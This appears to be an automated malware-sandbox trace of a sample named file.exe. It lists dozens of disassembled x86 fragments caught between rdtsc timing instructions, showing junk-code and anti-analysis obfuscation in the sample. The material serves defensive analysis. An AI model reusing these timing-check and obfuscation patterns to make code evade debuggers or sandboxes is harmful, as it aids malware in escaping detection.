Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9F2FE second address: C9F302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9F302 second address: C9F313 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6484B58646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9F45A second address: C9F470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6485173172h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9F470 second address: C9F474 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9F474 second address: C9F4C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F6485173168h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 xchg eax, ebx 0x00000026 jmp 00007F6485173174h 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jnp 00007F6485173166h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9F4C3 second address: C9F4C9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0391 second address: CA0422 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F648517317Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F6485173168h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 sub dword ptr [ebp+1246E51Ah], ecx 0x0000002b push 00000000h 0x0000002d or edi, dword ptr [ebp+122D3551h] 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ebx 0x00000038 call 00007F6485173168h 0x0000003d pop ebx 0x0000003e mov dword ptr [esp+04h], ebx 0x00000042 add dword ptr [esp+04h], 00000014h 0x0000004a inc ebx 0x0000004b push ebx 0x0000004c ret 0x0000004d pop ebx 0x0000004e ret 0x0000004f mov dword ptr [ebp+122D1C21h], ecx 0x00000055 xchg eax, ebx 0x00000056 pushad 0x00000057 push edx 0x00000058 jnl 00007F6485173166h 0x0000005e pop edx 0x0000005f jp 00007F6485173168h 0x00000065 popad 0x00000066 push eax 0x00000067 pushad 0x00000068 push eax 0x00000069 push edx 0x0000006a push edx 0x0000006b pop edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA0422 second address: CA042C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA042C second address: CA0430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA14E0 second address: CA14E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3AED second address: CA3B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F6485173166h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f jns 00007F6485173166h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C634AA second address: C634AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA28A1 second address: CA28A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5675 second address: CA5686 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jo 00007F6484B5864Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5686 second address: CA56C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F6485173178h 0x0000000c popad 0x0000000d popad 0x0000000e nop 0x0000000f mov esi, dword ptr [ebp+122D1BAEh] 0x00000015 push 00000000h 0x00000017 mov esi, dword ptr [ebp+122D1BD3h] 0x0000001d push 00000000h 0x0000001f or esi, dword ptr [ebp+122D3459h] 0x00000025 xchg eax, ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushad 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA56C6 second address: CA56CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA61A8 second address: CA61BD instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6485173166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F6485173168h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5EE0 second address: CA5EE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CABCF6 second address: CABD00 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F648517316Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CABD00 second address: CABD22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6484B58659h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CACC9C second address: CACCBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6485173173h 0x00000009 popad 0x0000000a jl 00007F648517316Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CABF77 second address: CABF7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CACCBC second address: CACCC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CABF7B second address: CABF81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CACCC6 second address: CACCCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CABF81 second address: CABF85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CACCCC second address: CACD61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007F648517316Ch 0x0000000b popad 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F6485173168h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 sub dword ptr [ebp+122D1CBCh], edi 0x0000002d push 00000000h 0x0000002f sbb bx, DF57h 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push ebx 0x00000039 call 00007F6485173168h 0x0000003e pop ebx 0x0000003f mov dword ptr [esp+04h], ebx 0x00000043 add dword ptr [esp+04h], 0000001Bh 0x0000004b inc ebx 0x0000004c push ebx 0x0000004d ret 0x0000004e pop ebx 0x0000004f ret 0x00000050 sbb ebx, 2CFDDC2Eh 0x00000056 call 00007F648517316Ch 0x0000005b mov edi, dword ptr [ebp+122D33C1h] 0x00000061 pop ebx 0x00000062 xchg eax, esi 0x00000063 pushad 0x00000064 pushad 0x00000065 jmp 00007F6485173175h 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CACED3 second address: CACEDD instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6484B58646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CACEDD second address: CACEE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CACEE3 second address: CACEE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CACF9B second address: CACF9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAECEB second address: CAED06 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnc 00007F6484B58646h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007F6484B5864Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CACF9F second address: CACFA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAED06 second address: CAED10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F6484B58646h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAED10 second address: CAEDB2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007F648517316Dh 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007F6485173168h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a jmp 00007F6485173178h 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ecx 0x00000034 call 00007F6485173168h 0x00000039 pop ecx 0x0000003a mov dword ptr [esp+04h], ecx 0x0000003e add dword ptr [esp+04h], 00000017h 0x00000046 inc ecx 0x00000047 push ecx 0x00000048 ret 0x00000049 pop ecx 0x0000004a ret 0x0000004b add dword ptr [ebp+1244C315h], ecx 0x00000051 xchg eax, esi 0x00000052 jnl 00007F6485173176h 0x00000058 jmp 00007F6485173170h 0x0000005d push eax 0x0000005e push ebx 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007F648517316Ch 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAEDB2 second address: CAEDB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADF00 second address: CADF07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0DD4 second address: CB0DEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6484B58653h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0DEB second address: CB0E57 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 je 00007F6485173166h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F6485173168h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 push 00000000h 0x00000029 mov ebx, 4A5371D1h 0x0000002e mov di, 2E27h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebp 0x00000037 call 00007F6485173168h 0x0000003c pop ebp 0x0000003d mov dword ptr [esp+04h], ebp 0x00000041 add dword ptr [esp+04h], 00000017h 0x00000049 inc ebp 0x0000004a push ebp 0x0000004b ret 0x0000004c pop ebp 0x0000004d ret 0x0000004e mov ebx, dword ptr [ebp+1244E2C5h] 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 jne 00007F6485173166h 0x0000005e push edx 0x0000005f pop edx 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAFE9F second address: CAFEA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB1D86 second address: CB1DE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp], eax 0x0000000a call 00007F6485173170h 0x0000000f mov edi, dword ptr [ebp+122D369Dh] 0x00000015 pop edi 0x00000016 push 00000000h 0x00000018 pushad 0x00000019 or di, 9F38h 0x0000001e mov eax, ebx 0x00000020 popad 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push esi 0x00000026 call 00007F6485173168h 0x0000002b pop esi 0x0000002c mov dword ptr [esp+04h], esi 0x00000030 add dword ptr [esp+04h], 0000001Ah 0x00000038 inc esi 0x00000039 push esi 0x0000003a ret 0x0000003b pop esi 0x0000003c ret 0x0000003d mov ebx, 60433997h 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 push esi 0x00000047 pop esi 0x00000048 pushad 0x00000049 popad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB1051 second address: CB106B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6484B58656h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB106B second address: CB1071 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB1071 second address: CB1075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB1F3C second address: CB1F42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB1F42 second address: CB1F46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5CF4 second address: CB5CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5D71 second address: CB5D75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB6C72 second address: CB6CD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6485173177h 0x00000009 popad 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007F6485173168h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 push 00000000h 0x00000028 jmp 00007F648517316Ch 0x0000002d push 00000000h 0x0000002f mov ebx, dword ptr [ebp+122D305Dh] 0x00000035 xchg eax, esi 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 pushad 0x0000003a popad 0x0000003b jmp 00007F648517316Fh 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB6CD9 second address: CB6CFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F6484B58646h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F6484B58653h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB6CFF second address: CB6D17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6485173174h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5E7D second address: CB5E81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB3DFF second address: CB3E09 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6485173166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB3E09 second address: CB3E2B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6484B5864Ch 0x00000008 js 00007F6484B58646h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 jl 00007F6484B58648h 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jne 00007F6484B58646h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7C97 second address: CB7C9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB6F53 second address: CB6F57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB6F57 second address: CB6F64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB6F64 second address: CB6F68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB8BC9 second address: CB8C27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F6485173168h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 cld 0x00000024 push 00000000h 0x00000026 add dword ptr [ebp+122D2906h], eax 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007F6485173168h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 00000017h 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 mov bl, EFh 0x0000004a mov dword ptr [ebp+122D26AFh], edi 0x00000050 xchg eax, esi 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB8C27 second address: CB8C2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7EC8 second address: CB7EE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6485173173h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB8D52 second address: CB8D56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB9DFC second address: CB9EBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jnp 00007F6485173185h 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D2A34h], ecx 0x00000014 push dword ptr fs:[00000000h] 0x0000001b jmp 00007F6485173170h 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 jmp 00007F648517316Ch 0x0000002c mov eax, dword ptr [ebp+122D01B5h] 0x00000032 push 00000000h 0x00000034 push ebx 0x00000035 call 00007F6485173168h 0x0000003a pop ebx 0x0000003b mov dword ptr [esp+04h], ebx 0x0000003f add dword ptr [esp+04h], 0000001Ch 0x00000047 inc ebx 0x00000048 push ebx 0x00000049 ret 0x0000004a pop ebx 0x0000004b ret 0x0000004c sbb edi, 179DA7EFh 0x00000052 push FFFFFFFFh 0x00000054 push 00000000h 0x00000056 push esi 0x00000057 call 00007F6485173168h 0x0000005c pop esi 0x0000005d mov dword ptr [esp+04h], esi 0x00000061 add dword ptr [esp+04h], 00000018h 0x00000069 inc esi 0x0000006a push esi 0x0000006b ret 0x0000006c pop esi 0x0000006d ret 0x0000006e mov dword ptr [ebp+12446192h], eax 0x00000074 movzx edi, cx 0x00000077 push eax 0x00000078 jo 00007F648517317Eh 0x0000007e push eax 0x0000007f push edx 0x00000080 pushad 0x00000081 popad 0x00000082 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC02F4 second address: CC02F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC02F9 second address: CC02FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5C99F second address: C5C9AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jc 00007F6484B58646h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5C9AF second address: C5C9B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC6FF4 second address: CC7015 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6484B58646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jmp 00007F6484B58654h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC7015 second address: CC701A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCB936 second address: CCB93C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCBA42 second address: CCBA53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F648517316Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCBADD second address: CCBAE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCBAE1 second address: CCBAF2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F648517316Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCBAF2 second address: CCBAFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F6484B58646h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCBAFC second address: CCBB1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F648517316Fh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCBB1D second address: CCBB37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jmp 00007F6484B5864Dh 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCEC4C second address: CCEC50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCEC50 second address: CCEC78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F6484B5865Bh 0x0000000e pop edi 0x0000000f push ebx 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
